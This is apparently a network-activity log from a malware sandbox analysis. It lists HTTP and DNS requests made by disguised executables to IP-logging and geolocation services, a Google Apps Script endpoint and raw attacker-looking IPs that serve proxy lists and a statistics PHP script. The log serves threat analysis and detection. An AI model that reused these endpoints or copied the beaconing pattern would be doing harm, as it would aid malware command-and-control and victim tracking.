                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.4.21
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://iplogger.org/ZdSiq
                                                                                                                                                                                                                                          md7_7dfj.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ZdSiq HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3
                                                                                                                                                                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                                                                          Referer: https://www.facebook.com
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36
                                                                                                                                                                                                                                          Host: iplogger.org
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:10 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=tnk80hfr7ovnc265ptgoj84811; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506681; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers: 1
                                                                                                                                                                                                                                          whoami: ec5f700afd95c4901273a4ec86c0feb322adec405ece3a022dc8272621895297
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/country
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          location: https://ipinfo.io/country
                                                                                                                                                                                                                                          vary: Accept, Accept-Encoding
                                                                                                                                                                                                                                          content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                          content-length: 47
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:10 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:48 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 0
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipinfo.io/country
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          x-frame-options: DENY
                                                                                                                                                                                                                                          x-xss-protection: 1; mode=block
                                                                                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                                                                                          referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 3
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                          Alt-Svc: clear
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.217.17.78:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.google.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:13 GMT
                                                                                                                                                                                                                                          Location: https://script.googleusercontent.com/macros/echo?user_content_key=CRRziMpGplySNtYySZG0oCdHfmV5C-N9UZJJZydhClnKq1aId4kKFSmW2SfEv2AiboW1XRm99vz1YY8Tku19mUNVZ1qxPtDhm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Set-Cookie: S=maestro=suWzQxqRQaKCsCEW3zg4bYtiy7yUzLgP2pztxIZF6ds; Domain=.google.com; Path=/; Secure; HttpOnly; Priority=LOW
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          YKliaHJeiJ_5l1avEzMVfFKQ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5WK2Kj0qqr1ANPei99JstG7QFYGRsfAUsbGgbkZrfpAamv6ip4I8YCOL5nPj57E9fX47Zt77KsgAjmmlyc0UNcip0fcDVRhgxO18kUXsRJlAhpeUoD8YHbbRQA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327ed9f9a4c00-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/country
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          location: https://ipinfo.io/country
                                                                                                                                                                                                                                          vary: Accept, Accept-Encoding
                                                                                                                                                                                                                                          content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                          content-length: 47
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 0
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:48 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipinfo.io/country
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          x-frame-options: DENY
                                                                                                                                                                                                                                          x-xss-protection: 1; mode=block
                                                                                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                                                                                          referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 3
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                          Alt-Svc: clear
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          eduarroma.tumblr.com
                                                                                                                                                                                                                                          posuivhNlqACsYj33uam4392.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          eduarroma.tumblr.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          eduarroma.tumblr.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          74.114.154.22
                                                                                                                                                                                                                                          eduarroma.tumblr.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          74.114.154.18
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://iplogger.org/18hh57
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /18hh57 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
                                                                                                                                                                                                                                          Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
                                                                                                                                                                                                                                          viewport-width: 1920
                                                                                                                                                                                                                                          Host: iplogger.org
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=in2am7tgu0iipohkfg5b1jkul7; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506680; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers:
                                                                                                                                                                                                                                          whoami: d4acea7b6fcc1911bb9f1914a2537b163a3dff6bb0167ceb12feffc6fbc49471
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/proxies.txt
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /proxies.txt HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 05:04:06 GMT
                                                                                                                                                                                                                                          ETag: "9cc-5c9f698d5202b"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 2508
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/plain
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/statistics.php
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /base/api/statistics.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 96
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          1vooYukf6WU6k9MpHAnkwqrX.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=h68%2BLbVTQLO6TYk44%2FECvrOf7Vw6YsuSOOdVWZ6%2FdEH05KP3z8g%2Ff0YEB63vrDTfn6e8BiQKV%2FmHwGFAP9JO83qw1FzR%2BNJCRvAIulh2XXQtUx8viz39WYCdaA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327f0890e1eb1-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/country
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          location: https://ipinfo.io/country
                                                                                                                                                                                                                                          vary: Accept, Accept-Encoding
                                                                                                                                                                                                                                          content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                          content-length: 47
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:12 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:12 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 0
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/ip
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /ip HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 12
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:37 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          8631307.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:12 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
